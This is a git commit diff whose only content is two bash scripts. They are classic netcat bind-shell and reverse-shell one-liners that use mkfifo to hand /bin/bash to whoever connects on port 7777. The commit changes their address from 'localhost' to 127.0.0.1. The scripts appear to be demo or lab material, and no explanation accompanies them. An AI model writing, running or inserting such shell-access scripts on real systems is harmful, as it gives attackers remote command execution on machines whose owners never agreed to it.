Changed for consistency
This commit is contained in:
parent
ff36458255
commit
e9b3fcc586
@ -1,5 +1,5 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
mkfifo /tmp/f
|
mkfifo /tmp/f
|
||||||
cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \
|
cat /tmp/f | /bin/bash 2>&1 | nc 127.0.0.1 -l 7777 > /tmp/f \
|
||||||
&& rm /tmp/f
|
&& rm /tmp/f
|
||||||
|
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
mkfifo /tmp/f
|
mkfifo /tmp/f
|
||||||
/bin/bash 0</tmp/f | nc localhost 7777 1>/tmp/f && rm /tmp/f
|
/bin/bash 0</tmp/f | nc 127.0.0.1 7777 1>/tmp/f && rm /tmp/f
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user